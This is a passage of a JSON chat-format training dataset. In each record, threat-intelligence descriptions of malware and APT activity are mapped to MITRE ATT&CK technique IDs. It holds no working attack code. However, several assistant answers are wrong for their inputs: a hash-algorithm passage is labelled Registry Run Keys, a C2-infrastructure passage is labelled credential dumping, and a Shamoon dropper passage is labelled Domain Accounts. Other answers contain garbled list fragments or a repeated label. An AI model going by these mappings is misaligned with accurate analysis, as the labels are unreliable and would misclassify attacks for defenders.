                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DOGCALL is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. In addition the blog also mentioned that a host of other large corporations were also targets of this same attack. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Considering the efforts that the attackers put into staging the attack as a whole, the end malware is not so sophisticated. Download a remote file, save it as %Temp%\\mdm.exe, and then execute it. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. Prevention &amp; Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites. The attacker can exploit this issue by supplying a malicious Flash ('.swf') file or by embedding a malicious Flash application in a PDF file"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. The hash algorithm has been replicated in Python below"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can detect the victim's file or folder list."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can retrieve network information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk is designed to run with high privileges, this time it registers itself as a service under Plug-And-Play Support name"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has been executed via malicious MS Word e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The key descriptor’s string contains Bayren_Munchen which seems likely to refer to the German soccer team FC Bayern Munich. Regardless, it is not the content of the key descriptor – but its length – that matters, with that length used to retrieve the XOR key used to encrypt the payload"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire includes various modules to attempt to bypass UAC for escalation of privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 uses HTTPS to conceal C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Forfiles can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before)."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, although the 2017 campaign has been documented, during our research regarding MirageFox, we found a recently uploaded binary (6/8/2018) from the 2017 campaign, pretty much identical to a RAT mentioned in their RoyalAPT report, barely detected with only 7/66 detections on VirusTotal.  APT15 Code Reuse We found the new version of the RAT on VirusTotal hunting, by a YARA signature we created based off code only found in Mirage and Reaver, both attributed to Chinese government affiliated groups"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Those payloads consist of a legitimate and signed Microsoft executable used as a DLL search-order hijacking host and a malicious DLL loaded by that executable. The malicious DLL is a ShadowPad loader"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can enumerate files on a target system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has enumerated processes by ID, name, or privileges."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has downloaded additional Lua scripts from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can check for the Telegram installation directory by enumerating the files on disk."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can take JPEG screenshots of an infected system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has named component DLLs \"RapportGP.dll\" to match those used by the security company Trusteer."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can monitor processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto uses the \"zip -r\" command to compress the data collected on the local system."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control (C2) and operational infrastructure. The threat actors also integrate infrastructure they likely previously compromised for espionage purposes. For example, CTU researchers identified the group using IP addresses owned by several, presumably compromised, research organizations to interact with web shells in other target environments"
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHA256  a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff   MD5 1ff40e79d673461cd33bd8b68f8bb5b8   Compiled 2017.08.06 11:32:36 (GMT), 2.22   Type I386 Windows Console EXE   Size 101 888    Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters:    Parameter Description   -scr Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla used \"net use\" commands to connect to lateral systems within a network."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon has been seen overwriting features of disk structure such as the MBR."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can upload data and files from a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can use RunDLL32 for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command processing function starts by substituting the main module name and path in the hosting process PEB, with the one of the default internet browser. The path of the main browser of the workstation is obtained by reading the registry value"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has a plugin that collects data stored in the Windows clipboard by using the OpenClipboard and GetClipboardData APIs."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used the Exchange Power Shell module \"Set-OabVirtualDirectoryPowerShell\" to export mailbox data."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that regardless of whether Nyetya is successful in overwriting the boot sector or not, it will proceed to create a scheduled task via schtasks to reboot the system one hour after infection"
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel uses RC4 for encrypting the configuration."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One legitimate executable, sometimes signed, and vulnerable to dynamic-link library (DLL) sideloading - One malicious DLL loaded by the legitimate file - One binary file usually containing obfuscated code, unpacked in memory by the malicious DLL"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK is capable of performing remote file transmission."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\\\railways.ir\\sysvol\\railways.ir\\scripts\\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole samples were timestomped by the authors by setting the PE timestamps to all zero values. InvisiMole also has a built-in command to modify file times."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has exploited the Adobe Flash Player vulnerability CVE-2015-3113 and Internet Explorer vulnerability CVE-2014-1776."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo can enumerate all windows on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has used FTP for C2 connections."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has identified two different infection vectors associated with this particular campaign. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine. The stager will be described in more detail in the next section"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used shellcode within macros to decrypt and manually map DLLs and shellcode into memory at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"net user /domain\" to enumerate domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "was distributed through a compromised update to a Tor client with a coin miner payload."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gets an output of running processes using the tasklist command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail can invoke Apple APIs \"contentsOfDirectoryAtPath\", \"pathExtension\", and (string) \"compare\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of our investigation, we monitored exactly what the cybercriminals did on an infected PC. In particular, they they downloaded an auxiliary program ff._exe to the Config.Msi folder on the infected machine"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then calls the subfunction with the argument of 2 to get the string that it will use as the HTTP POST request"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module"
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer uses custom encryption for C2 that uses 3DES."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can run `C:\\Windows\\system32\\cmd.exe /c cmd /c ipconfig /all 2>&1` to discover network settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collected data from local victim systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The older “mode” variant of BitPaymer uses the Windows registry for persistence, while the newer service variant will attempt to install itself as a service"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can crash a debugger by passing a format string to \"OutputDebugStringA()\"."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can gather information about the user on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can use Rundll32 to execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus has been named `Flash.exe`, and its dropper has been named `IExplorer`."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts exfiltrated data with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon Group obtains and saves information about victim network interfaces and addresses."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT12 has used blogs and WordPress for C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Regin appears to have functionality to modify remote Registry information."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In at least some of these recent attacks, Buckeye used spear-phishing emails with a malicious .zip attachment"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon has lured victims into opening weaponized documents, fake external drives, and fake antivirus to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used PowerShell-based tools and scripts for discovery and collection on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used an XOR-based algorithm to encrypt Tor clients dropped to disk.\tUrsnif droppers have also been delivered as password-protected zip files that execute base64 encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
